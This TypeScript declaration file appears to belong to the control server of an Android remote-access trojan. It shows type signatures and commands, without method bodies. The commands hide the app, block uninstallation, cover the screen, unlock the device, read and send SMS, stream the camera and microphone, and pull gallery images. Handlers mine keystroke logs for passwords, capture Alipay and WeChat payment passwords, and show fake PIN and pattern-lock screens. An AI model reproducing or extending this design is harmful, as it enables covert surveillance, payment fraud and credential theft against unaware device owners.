400 lines
12 KiB
TypeScript
400 lines
12 KiB
TypeScript
import DeviceManager from '../managers/DeviceManager';
|
||
import WebClientManager from '../managers/WebClientManager';
|
||
import { DatabaseService } from './DatabaseService';
|
||
/**
|
||
* 控制消息接口
|
||
*/
|
||
export interface ControlMessage {
|
||
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME';
|
||
deviceId: string;
|
||
data: any;
|
||
timestamp: number;
|
||
}
|
||
/**
|
||
* 操作日志消息接口
|
||
*/
|
||
export interface OperationLogMessage {
|
||
deviceId: string;
|
||
logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT';
|
||
content: string;
|
||
extraData?: any;
|
||
timestamp: number;
|
||
}
|
||
/**
|
||
* 屏幕数据接口
|
||
*/
|
||
export interface ScreenData {
|
||
deviceId: string;
|
||
format: 'JPEG' | 'PNG' | 'H264' | 'UI_TEST' | 'UI_HIERARCHY';
|
||
data: Buffer | string;
|
||
width: number;
|
||
height: number;
|
||
quality: number;
|
||
timestamp: number;
|
||
isLocked?: boolean;
|
||
}
|
||
/**
|
||
* 摄像头数据接口
|
||
*/
|
||
export interface CameraData {
|
||
deviceId: string;
|
||
format: 'JPEG' | 'PNG' | 'H264';
|
||
data: string;
|
||
type: 'camera';
|
||
timestamp: number;
|
||
}
|
||
/**
|
||
* 相册图片数据接口(设备发送)
|
||
*/
|
||
export interface GalleryImageData {
|
||
deviceId: string;
|
||
type: 'gallery_image';
|
||
timestamp: number;
|
||
index: number;
|
||
id: number | string;
|
||
displayName?: string;
|
||
dateAdded?: number;
|
||
mimeType?: string;
|
||
width?: number;
|
||
height?: number;
|
||
size?: number;
|
||
contentUri?: string;
|
||
format: 'JPEG' | 'PNG';
|
||
data: string;
|
||
}
|
||
/**
|
||
* 麦克风音频数据接口(设备发送)
|
||
*/
|
||
export interface MicrophoneAudioData {
|
||
deviceId: string;
|
||
type: 'microphone_audio';
|
||
timestamp: number;
|
||
audioData: string;
|
||
sampleRate: number;
|
||
sampleCount: number;
|
||
format: 'PCM' | 'AAC' | 'MP3' | 'WAV';
|
||
channels: number;
|
||
bitDepth: number;
|
||
}
|
||
/**
|
||
* 短信数据接口
|
||
*/
|
||
export interface SmsData {
|
||
deviceId: string;
|
||
type: 'sms_data';
|
||
timestamp: number;
|
||
count: number;
|
||
smsList: SmsItem[];
|
||
}
|
||
/**
|
||
* 短信项接口
|
||
*/
|
||
export interface SmsItem {
|
||
id: number;
|
||
address: string;
|
||
body: string;
|
||
date: number;
|
||
read: boolean;
|
||
type: number;
|
||
}
|
||
/**
|
||
* 消息路由服务 - 增强版,包含内存管理
|
||
*/
|
||
export declare class MessageRouter {
|
||
private logger;
|
||
private deviceManager;
|
||
private webClientManager;
|
||
private databaseService;
|
||
private screenDataBuffer;
|
||
private cameraDataBuffer;
|
||
private smsDataBuffer;
|
||
private microphoneAudioBuffer;
|
||
private readonly maxBufferSize;
|
||
private readonly bufferTimeout;
|
||
private readonly maxDataSize;
|
||
private lastCleanupTime;
|
||
private readonly cleanupInterval;
|
||
private routedFrames;
|
||
private droppedFrames;
|
||
private totalDataSize;
|
||
private routedCameraFrames;
|
||
private droppedCameraFrames;
|
||
private totalCameraDataSize;
|
||
private routedSmsData;
|
||
private droppedSmsData;
|
||
private totalSmsDataSize;
|
||
private routedMicrophoneAudio;
|
||
private droppedMicrophoneAudio;
|
||
private totalMicrophoneAudioSize;
|
||
constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService);
|
||
/**
|
||
* 🖼️ 发送本地已缓存相册图片给指定Web客户端
|
||
*/
|
||
private sendLocalGalleryToClient;
|
||
/**
|
||
* 🔧 启动定期清理任务
|
||
*/
|
||
private startPeriodicCleanup;
|
||
/**
|
||
* 🔧 定期清理过期数据
|
||
*/
|
||
private performPeriodicCleanup;
|
||
/**
|
||
* 🚨 紧急内存清理
|
||
*/
|
||
private performEmergencyCleanup;
|
||
/**
|
||
* 路由控制消息(从Web客户端到设备)
|
||
*/
|
||
routeControlMessage(fromSocketId: string, message: ControlMessage): boolean;
|
||
/**
|
||
* 路由屏幕数据(从设备到Web客户端)- 增强版,包含内存管理
|
||
*/
|
||
routeScreenData(fromSocketId: string, screenData: ScreenData): boolean;
|
||
/**
|
||
* 重试路由屏幕数据
|
||
*/
|
||
private retryRouteScreenData;
|
||
/**
|
||
* 路由摄像头数据(从设备到Web客户端)- 模仿routeScreenData实现
|
||
*/
|
||
routeCameraData(fromSocketId: string, cameraData: CameraData): boolean;
|
||
/**
|
||
* 重试路由摄像头数据
|
||
*/
|
||
private retryRouteCameraData;
|
||
/**
|
||
* 路由相册图片数据(不保存到磁盘,直接转发base64给客户端)
|
||
*/
|
||
routeGalleryImage(fromSocketId: string, image: GalleryImageData): boolean;
|
||
/**
|
||
* 路由麦克风音频数据(从设备到Web客户端)
|
||
*/
|
||
routeMicrophoneAudio(fromSocketId: string, audioData: MicrophoneAudioData): boolean;
|
||
/**
|
||
* 重试路由麦克风音频数据
|
||
*/
|
||
private retryRouteMicrophoneAudio;
|
||
/**
|
||
* 路由短信数据(从设备到Web客户端)
|
||
*/
|
||
routeSmsData(fromSocketId: string, smsData: SmsData): boolean;
|
||
/**
|
||
* 重试路由短信数据
|
||
*/
|
||
private retryRouteSmsData;
|
||
/**
|
||
* 路由设备事件(从设备到Web客户端)
|
||
*/
|
||
routeDeviceEvent(fromSocketId: string, eventType: string, eventData: any): boolean;
|
||
/**
|
||
* 路由客户端事件(从Web客户端到其他客户端或设备)
|
||
*/
|
||
routeClientEvent(fromSocketId: string, eventType: string, eventData: any): boolean;
|
||
/**
|
||
* 处理设备控制请求
|
||
*/
|
||
private handleDeviceControlRequest;
|
||
/**
|
||
* 处理设备控制释放
|
||
*/
|
||
private handleDeviceControlRelease;
|
||
/**
|
||
* 处理设备列表请求
|
||
*/
|
||
private handleDeviceListRequest;
|
||
/**
|
||
* 处理操作日志(从设备接收)
|
||
*/
|
||
handleOperationLog(fromSocketId: string, logMessage: OperationLogMessage): boolean;
|
||
/**
|
||
* 处理获取操作日志请求
|
||
*/
|
||
private handleGetOperationLogs;
|
||
/**
|
||
* 处理清空操作日志请求
|
||
*/
|
||
private handleClearOperationLogs;
|
||
/**
|
||
* 处理获取设备密码请求
|
||
*/
|
||
private handleGetDevicePassword;
|
||
/**
|
||
* 处理保存设备密码请求
|
||
*/
|
||
private handleSaveDevicePassword;
|
||
/**
|
||
* 处理更新设备状态请求
|
||
*/
|
||
private handleUpdateDeviceState;
|
||
/**
|
||
* 处理获取设备状态请求
|
||
*/
|
||
private handleGetDeviceState;
|
||
/**
|
||
* 广播消息到所有相关方
|
||
*/
|
||
broadcastMessage(eventType: string, data: any): void;
|
||
/**
|
||
* 获取路由统计信息
|
||
*/
|
||
getRouterStats(): {
|
||
totalDevices: number;
|
||
totalClients: number;
|
||
activeControlSessions: number;
|
||
};
|
||
handleDeviceInputBlockedChanged(deviceId: string, blocked: boolean): void;
|
||
private handleDeviceLoggingStateChanged;
|
||
private restoreDeviceState;
|
||
private handleSearchPasswordsFromLogs;
|
||
/**
|
||
* ✅ 新增:从操作日志中提取密码候选及其元信息(包括确认坐标)
|
||
*/
|
||
private extractPasswordCandidatesWithMeta;
|
||
/**
|
||
* 从操作日志中提取密码候选 - ✅ 增强版本,改进密码类型识别
|
||
*/
|
||
private extractPasswordCandidates;
|
||
/**
|
||
* ✅ 新增:从密码内容检测密码类型
|
||
*/
|
||
private detectPasswordTypeFromContent;
|
||
/**
|
||
* ✅ 增强版密码验证:判断文本是否可能是密码,考虑密码类型
|
||
*/
|
||
private isPossiblePasswordEnhanced;
|
||
/**
|
||
* 判断文本是否可能是密码 - 保持原有逻辑作为后备
|
||
*/
|
||
private isPossiblePassword;
|
||
/**
|
||
* ✅ 刷新所有web客户端的设备列表
|
||
*/
|
||
private refreshAllWebClientDeviceLists;
|
||
/**
|
||
* ✅ 同步设备状态到设备端
|
||
*/
|
||
private syncDeviceStateToDevice;
|
||
/**
|
||
* 处理删除设备请求
|
||
*/
|
||
private handleDeleteDevice;
|
||
/**
|
||
* 获取设备UI层次结构
|
||
*/
|
||
private handleGetUIHierarchy;
|
||
/**
|
||
* 处理设备UI层次结构响应
|
||
*/
|
||
private handleUIHierarchyResponse;
|
||
/**
|
||
* 路由UI层次结构响应(从设备到Web客户端)- 参考routeScreenData的模式
|
||
*/
|
||
routeUIHierarchyResponse(fromSocketId: string, hierarchyData: any): boolean;
|
||
/**
|
||
* 🆕 处理开始提取确认坐标的请求
|
||
*/
|
||
private handleStartExtractConfirmCoords;
|
||
/**
|
||
* 🆕 处理保存确认坐标的请求
|
||
*/
|
||
private handleSaveConfirmCoords;
|
||
/**
|
||
* 🆕 处理启用黑屏遮盖的请求
|
||
*/
|
||
private handleEnableBlackScreen;
|
||
/**
|
||
* 🆕 处理取消黑屏遮盖的请求
|
||
*/
|
||
private handleDisableBlackScreen;
|
||
/**
|
||
* 🆕 处理打开应用设置的请求
|
||
*/
|
||
private handleOpenAppSettings;
|
||
/**
|
||
* 🆕 处理隐藏应用的请求
|
||
*/
|
||
private handleHideApp;
|
||
/**
|
||
* 🆕 处理应用隐藏状态更新(来自Android端的状态报告)
|
||
*/
|
||
private handleAppHideStatusUpdate;
|
||
/**
|
||
* 🆕 处理显示应用的请求
|
||
*/
|
||
private handleShowApp;
|
||
/**
|
||
* 🆕 处理关闭配置遮盖的请求
|
||
*/
|
||
private handleCloseConfigMask;
|
||
/**
|
||
* 🆕 处理重新获取投屏权限请求
|
||
*/
|
||
private handleRefreshMediaProjectionPermission;
|
||
/**
|
||
* 🆕 路由权限申请响应
|
||
*/
|
||
routePermissionResponse(socketId: string, permissionData: any): boolean;
|
||
/**
|
||
* 💰 路由支付宝密码数据
|
||
*/
|
||
routeAlipayPassword(socketId: string, passwordData: any): boolean;
|
||
/**
|
||
* 💬 路由微信密码数据
|
||
*/
|
||
routeWechatPassword(socketId: string, passwordData: any): boolean;
|
||
/**
|
||
* 🔐 路由通用密码输入数据
|
||
*/
|
||
routePasswordInput(socketId: string, passwordData: any): boolean;
|
||
/**
|
||
* 🔍 路由支付宝检测启动指令
|
||
*/
|
||
routeAlipayDetectionStart(socketId: string, detectionData: any): boolean;
|
||
/**
|
||
* 💬 路由微信检测启动指令
|
||
*/
|
||
routeWechatDetectionStart(socketId: string, detectionData: any): boolean;
|
||
/**
|
||
* 🆕 处理MediaProjection权限申请响应
|
||
*/
|
||
private handleMediaProjectionPermissionResponse;
|
||
/**
|
||
* 🛡️ 处理启用防止卸载保护的请求
|
||
*/
|
||
private handleEnableUninstallProtection;
|
||
/**
|
||
* 🛡️ 处理禁用防止卸载保护的请求
|
||
*/
|
||
private handleDisableUninstallProtection;
|
||
/**
|
||
* 处理相册权限检查请求
|
||
*/
|
||
private handleGalleryPermissionCheck;
|
||
/**
|
||
* 处理相册读取请求
|
||
*/
|
||
private handleAlbumRead;
|
||
/**
|
||
* 处理设备解锁请求
|
||
*/
|
||
private handleUnlockDevice;
|
||
/**
|
||
* 🔐 处理打开6位PIN输入界面的请求
|
||
*/
|
||
private handleOpenPinInput;
|
||
/**
|
||
* 🔐 处理打开4位密码输入界面的请求
|
||
*/
|
||
private handleOpenFourDigitPin;
|
||
/**
|
||
* 🔐 处理打开图形密码输入界面的请求
|
||
*/
|
||
private handleOpenPatternLock;
|
||
/**
|
||
* 处理修改服务器地址请求
|
||
*/
|
||
private handleChangeServerUrl;
|
||
}
|
||
export default MessageRouter;
|
||
//# sourceMappingURL=MessageRouter.d.ts.map
|